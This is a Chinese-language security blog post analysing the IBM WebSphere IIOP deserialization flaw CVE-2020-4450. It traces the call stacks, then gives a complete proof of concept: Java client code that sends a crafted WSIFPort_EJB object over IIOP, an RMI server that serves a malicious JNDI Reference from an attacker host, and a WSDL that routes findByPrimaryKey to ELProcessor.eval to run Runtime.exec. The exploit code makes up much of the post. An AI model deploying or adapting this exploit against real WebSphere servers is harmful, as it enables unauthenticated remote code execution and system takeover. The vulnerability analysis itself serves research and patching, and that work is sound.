rmi远程代码执行漏洞_WebSphere 远程代码执行漏洞浅析(CVE20204450)
作者:beijixiong404 ? ?文章來源:先知社區(qū)
漏洞簡介
WebSphere是IBM的軟件平臺,它包含了編寫、運行和監(jiān)視全天候的工業(yè)強度的隨需應(yīng)變 Web 應(yīng)用程序和跨平臺、跨產(chǎn)品解決方案所需要的整個中間件基礎(chǔ)設(shè)施,如服務(wù)器、服務(wù)和工具。2020年6月8日,IBM官方發(fā)布了WebSphere Application Server(WAS)中的遠程代碼執(zhí)行(CVE-2020-4450)漏洞的通告,此漏洞由IIOP協(xié)議上的反序列化惡意對象造成,未經(jīng)身份認證的攻擊者可以通過IIOP協(xié)議遠程攻擊WAS服務(wù)器,在目標服務(wù)端執(zhí)行任意代碼,獲取目標系統(tǒng)權(quán)限。
漏洞分析
WAS對于IIOP的數(shù)據(jù)由com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request方法被處理,在處理過程中,當ServiceContext對象不為空時,com.ibm.ws.Transaction.JTS.TxInterceptorHelper#demarshalContext被調(diào)用,進入反序列化的執(zhí)行流,在調(diào)用過程中,最終調(diào)用com.ibm.rmi.io.IIOPInputStream#invokeObjectReader通過反射調(diào)用readObject方法進行反序列化,反序列化執(zhí)行流如下:
readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:90, NativeMethodAccessorImpl (sun.reflect)
invoke:55, DelegatingMethodAccessorImpl (sun.reflect)
invoke:508, Method (java.lang.reflect)
invokeObjectReader:2483, IIOPInputStream (com.ibm.rmi.io)
inputObjectUsingClassDesc:2010, IIOPInputStream (com.ibm.rmi.io)
continueSimpleReadObject:749, IIOPInputStream (com.ibm.rmi.io)
simpleReadObjectLoop:720, IIOPInputStream (com.ibm.rmi.io)
simpleReadObject:669, IIOPInputStream (com.ibm.rmi.io)
readValue:193, ValueHandlerImpl (com.ibm.rmi.io)
read_value:787, CDRReader (com.ibm.rmi.iiop)
read_value:847, EncoderInputStream (com.ibm.rmi.iiop)
unmarshalIn:273, TCUtility (com.ibm.rmi.corba)
read_value:664, AnyImpl (com.ibm.rmi.corba)
read_any:467, CDRReader (com.ibm.rmi.iiop)
read_any:797, EncoderInputStream (com.ibm.rmi.iiop)
demarshalContext:171, TxInterceptorHelper (com.ibm.ws.Transaction.JTS)
receive_request:180, TxServerInterceptor (com.ibm.ws.Transaction.JTS)
……
dispatch:508, ServerDelegate (com.ibm.CORBA.iiop)
ZDI的文章里,找到了一個org.apache.wsif.providers.ejb.WSIFPort_EJB.class,該類的readObject方法中存在JNDI注入邏輯,代碼執(zhí)行流如下:
lookup:150, RegistryContext (com.sun.jndi.rmi.registry)
lookup:217, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:161, DelegateContext (org.apache.aries.jndi)
lookup:428, InitialContext (javax.naming)
getEJBObject:166, EntityHandle (com.ibm.ejs.container) readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
到此,進入核心利用點,在通過JNDI的lookup方法獲得對應(yīng)的EJBHome實例的時候,是通過environment中定義的ObjectFactory的具體實現(xiàn)類對應(yīng)獲得工廠實例,然后通過對應(yīng)工廠getObjectInstance方法創(chuàng)建EJBHome實例,這里修改environment變量中的java.naming.factory.object屬性值為org.apache.wsif.naming.WSIFServiceObjectFactory。代碼執(zhí)行流如下:
getObjectInstance:138, WSIFServiceObjectFactory (org.apache.wsif.naming), WSIFServiceObjectFactory.java
getObjectInstanceViaContextDotObjectFactories:167, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstanceViaContextDotObjectFactories:125, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstance:109, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstance:62, OSGiObjectFactoryBuilder (org.apache.aries.jndi), OSGiObjectFactoryBuilder.java
getObjectInstance:311, NamingManager (javax.naming.spi), NamingManager.java
decodeObject:511, RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java
lookup:150, RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java
之所以修改為該工廠類,是因為該工廠類的getObjectInstance方法的奇妙,該方法調(diào)用了WSIF的流程,而其中需要的屬性值是通過注入的Reference對象賦值。從而引入自定義的wsdl文件,通過wsdl文件可以將接口方法映射到其他的具體實現(xiàn)中,改變具體接口的執(zhí)行流;并且可以對className賦值使其返回滿足利用條件的EJBHome實例。
具體要實現(xiàn)的核心目的就是返回一個EJBHome實例,通過自定義wsdl文件映射EJBHome的findByPrimaryKey方法(EJB規(guī)范)到其他類的方法中,比如javax.el.ELProcessor的eval方法,從而實現(xiàn)代碼執(zhí)行。代碼執(zhí)行棧如下:
eval:57, ELProcessor (javax.el), ELProcessor.java
invoke0:-1, NativeMethodAccessorImpl (sun.reflect), NativeMethodAccessorImpl.java
invoke:90, NativeMethodAccessorImpl (sun.reflect), NativeMethodAccessorImpl.java
invoke:55, DelegatingMethodAccessorImpl (sun.reflect), DelegatingMethodAccessorImpl.java
invoke:508, Method (java.lang.reflect), Method.java
executeRequestResponseOperation:1208, WSIFOperation_Java (org.apache.wsif.providers.java), WSIFOperation_Java.java
invoke:311, WSIFClientProxy (org.apache.wsif.base), WSIFClientProxy.java
findByPrimaryKey:-1, $Proxy82 (com.sun.proxy), Unknown Source
POC
TEST
public class Test {public static void main(String[] args) throws Exception {Properties env = new Properties();env.put(Context.PROVIDER_URL, "iiop://169.254.0.117:2809");env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");InitialContext context = new InitialContext(env);context.list("");Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");f_defaultInitCtx.setAccessible(true);WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");f_context.setAccessible(true);CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");f_corbaNC.setAccessible(true);_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");f__delegate.setAccessible(true);ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");f_ior.setAccessible(true);IOR ior = (IOR) f_ior.get(clientDelegate);Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");f_orb.setAccessible(true);ORB orb = (ORB) f_orb.get(clientDelegate);GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, com.ibm.rmi.Profile.class, com.ibm.rmi.corba.ClientDelegate.class, String.class);getConnection.setAccessible(true);Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "beijixiong404");Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);setConnectionContexts.setAccessible(true);ArrayList v4 = new ArrayList();WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null);Field fieldEjbObject = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");fieldEjbObject.setAccessible(true);fieldEjbObject.set(wsifPort_ejb,new EJSWrapperS());CDROutputStream outputStream = ORB.createCDROutputStream();outputStream.putEndian();Any any = orb.create_any();any.insert_Value(wsifPort_ejb);PropagationContext propagationContext = new PropagationContext(0,new TransIdentity(null,null, new otid_t(0,0,new byte[0])),new TransIdentity[0],any);PropagationContextHelper.write(outputStream,propagationContext);byte[] result = outputStream.toByteArray();ServiceContext serviceContext = new ServiceContext(0, result);v4.add(serviceContext);setConnectionContexts.invoke(connection, v4);context.list("");}}class EJSWrapperS extends EJSWrapper {@Overridepublic Handle getHandle() throws RemoteException {Handle var2 = null;try {SessionHome sessionHome = new SessionHome();J2EEName j2EEName = new J2EENameImpl("aa", "aa", "aa");Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");j2eeName.setAccessible(true);j2eeName.set(sessionHome, j2EEName);Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");jndiName.setAccessible(true);jndiName.set(sessionHome, "rmi://169.254.0.117:1099/poc");Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";BeanId beanId = new BeanId(sessionHome, key, true);BeanMetaData beanMetaData = new BeanMetaData(1);beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;Properties initProperties = new Properties();initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);c.setAccessible(true);var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);} catch (Exception e) {e.printStackTrace();}return var2;}}RMI Server
public class RMIServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);Reference ref = new Reference(WSIFServiceStubRef.class.getName(), (String) null, (String) null);ref.add(new StringRefAddr("wsdlLoc", "http://169.254.0.117:80/poc.wsdl"));ref.add(new StringRefAddr("serviceNS", null));ref.add(new StringRefAddr("serviceName", null));ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/"));ref.add(new StringRefAddr("portTypeName", "Gadget"));ref.add(new StringRefAddr("preferredPort", "JavaPort"));ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("poc", referenceWrapper);}}wsdl文件
<?xml version="1.0" ?>targetNamespace="http://wsifservice.addressbook/"xmlns:tns="http://wsifservice.addressbook/"xmlns:xsd="http://www.w3.org/1999/XMLSchema"xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"xmlns="http://schemas.xmlsoap.org/wsdl/">name="findByPrimaryKeyRequest">name="el" type="xsd:string"/>name="findByPrimaryKeyResponse">name="counterObject" type="xsd:object"/>name="Gadget">name="findByPrimaryKey">message="tns:findByPrimaryKeyRequest"/>message="tns:findByPrimaryKeyResponse"/>name="JavaBinding" type="tns:Gadget">encoding="Java" style="Java">typeName="xsd:string" formatType="java.lang.String"/>typeName="xsd:object" formatType="java.lang.Object"/>name="findByPrimaryKey">methodName="eval"parameterOrder="el"methodType="instance"returnPart="counterObject"/>name="GadgetService">name="JavaPort" binding="tns:JavaBinding"> className="javax.el.ELProcessor"/>思考
對EJB規(guī)范的理解可以對分析事半功倍。
參考
https://www.zerodayinitiative.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere
https://cert.360.cn/report/detail?id=3d016bdef66b8e29936f8cb364f265c8
https://paper.seebug.org/1303/
https://www.secrss.com/articles/24353
_____ end?_____
關(guān)注公眾號:HACK之道
總結(jié)
以上是生活随笔為你收集整理的rmi远程代码执行漏洞_WebSphere 远程代码执行漏洞浅析(CVE20204450)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: TongWeb7本地部署(Windows
- 下一篇: 化零为整WCF(14) - 事务(Tra